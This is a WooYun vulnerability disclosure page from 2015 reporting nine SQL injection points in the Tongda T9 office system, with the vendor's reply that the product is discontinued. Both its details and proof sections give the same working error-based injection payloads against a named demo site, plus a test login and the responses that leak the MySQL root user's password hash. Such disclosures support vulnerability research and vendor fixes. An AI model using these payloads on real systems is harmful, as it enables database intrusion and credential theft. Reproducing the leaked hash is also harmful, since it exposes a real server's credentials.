当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101350

漏洞标题:通达T9系统sql注射9处打包(demo站点root权限)

相关厂商:通达信科

漏洞作者: 路人甲

提交时间:2015-03-16 15:33

修复时间:2015-06-15 10:02

公开时间:2015-06-15 10:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-16: 细节已通知厂商并且等待厂商处理中
2015-03-17: 厂商已经确认,细节仅向厂商公开
2015-03-20: 细节向第三方安全合作伙伴开放
2015-05-11: 细节向核心白帽子及相关领域专家公开
2015-05-21: 细节向普通白帽子公开
2015-05-31: 细节向实习白帽子公开
2015-06-15: 细节向公众公开

简要描述:

T9智能管理平台是基于B/S架构,灵活、稳定、安全、高性能的办公系统。采用自主研发的引擎技术,提供强大的工作流和公文流程管理功能,可完全根据客户需求定制办公门户平台。

详细说明:

测试地址 http://t9.go2oa.com/t9/core/frame/webos/index.jsp
测试帐号及密码 oa/无
注入1:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/sendMailAll.act
post:seqIds=79804) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23&_=
返回:
{"rtState":"1", "rtMsrg":"邮件发送失败!Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入2:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9EmailNameAct/saveName.act
post:
IS_USE=1&NAME_ID=5' and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 #&NAME=%3Cp%3E1234a%3C%2Fp%3E&_=
返回:
{"rtState":"1", "rtMsrg":"保存失败: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入3:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9EmailBoxAct/getBoxName.act?boxId=3 and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"邮箱默认每页显示邮件数设置失败: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入4:
http://t9.go2oa.com/t9/core/funcs/news/show/reNews.jsp?seqId=2'&userName=%9El%BAX
返回:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1
注入5:
http://t9.go2oa.com/t9/t9/core/funcs/news/act/T9NewsShowAct/deleteComment.act?commentId=16&newsId=2'%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回:
Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1
注入6:
http://t9.go2oa.com/t9/t9/core/funcs/address/act/T9AddressAct/getEditGroup.act?seqId=1%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入7:
http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9WorkQueryAct/getFlowType.act
post:
sortId=183) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23&_=
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入8:
http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9WorkQueryAct/getWorkList1.act
post:
dtoClass=t9.core.data.T9PageQueryParam&pageSize=20&pageIndex=0&nameStr=runId%2CrunName%2CbeginTime%2CendTime%2CattachId%2CattachName%2CrunId1%2CrunId2%2CflowId%2ClistFldsStr%2CflowName%2CfreeOther%2CflowType%2CmanageUser%2CqueryUser%2CcommentPriv%2CfocusUser%2CeditPriv%2CflowType%2CmanageUserDept%2CqueryUserDept&sortColumn&direct=asc&sortId=1)and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23&flowList=0&flowStatus=ALL&flowQueryType=2&toName=&toId=liuhan&startTime=&endTime=&runId=1&runName=&_=
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入9:
http://t9.go2oa.com/t9/t9/core/funcs/doc/act/T9FlowSortAct/getSortIds.act
post:
sortName=1'
返回:
{"rtState":"1", "rtMsrg":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1", "rtData":""}

漏洞证明:

测试地址 http://t9.go2oa.com/t9/core/frame/webos/index.jsp
测试帐号及密码 oa/无
注入1:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/sendMailAll.act
post:seqIds=79804) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23&_=
返回:
{"rtState":"1", "rtMsrg":"邮件发送失败!Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入2:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9EmailNameAct/saveName.act
post:
IS_USE=1&NAME_ID=5' and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 #&NAME=%3Cp%3E1234a%3C%2Fp%3E&_=
返回:
{"rtState":"1", "rtMsrg":"保存失败: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入3:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9EmailBoxAct/getBoxName.act?boxId=3 and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"邮箱默认每页显示邮件数设置失败: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入4:
http://t9.go2oa.com/t9/core/funcs/news/show/reNews.jsp?seqId=2'&userName=%9El%BAX
返回:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1
注入5:
http://t9.go2oa.com/t9/t9/core/funcs/news/act/T9NewsShowAct/deleteComment.act?commentId=16&newsId=2'%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回:
Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1
注入6:
http://t9.go2oa.com/t9/t9/core/funcs/address/act/T9AddressAct/getEditGroup.act?seqId=1%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入7:
http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9WorkQueryAct/getFlowType.act
post:
sortId=183) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23&_=
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入8:
http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9WorkQueryAct/getWorkList1.act
post:
dtoClass=t9.core.data.T9PageQueryParam&pageSize=20&pageIndex=0&nameStr=runId%2CrunName%2CbeginTime%2CendTime%2CattachId%2CattachName%2CrunId1%2CrunId2%2CflowId%2ClistFldsStr%2CflowName%2CfreeOther%2CflowType%2CmanageUser%2CqueryUser%2CcommentPriv%2CfocusUser%2CeditPriv%2CflowType%2CmanageUserDept%2CqueryUserDept&sortColumn&direct=asc&sortId=1)and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23&flowList=0&flowStatus=ALL&flowQueryType=2&toName=&toId=liuhan&startTime=&endTime=&runId=1&runName=&_=
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入9:
http://t9.go2oa.com/t9/t9/core/funcs/doc/act/T9FlowSortAct/getSortIds.act
post:
sortName=1'
返回:
{"rtState":"1", "rtMsrg":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1", "rtData":""}

修复方案:

过来

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-03-17 10:01

厂商回复:

T9已停止销售

最新状态:

暂无


漏洞评价:

评论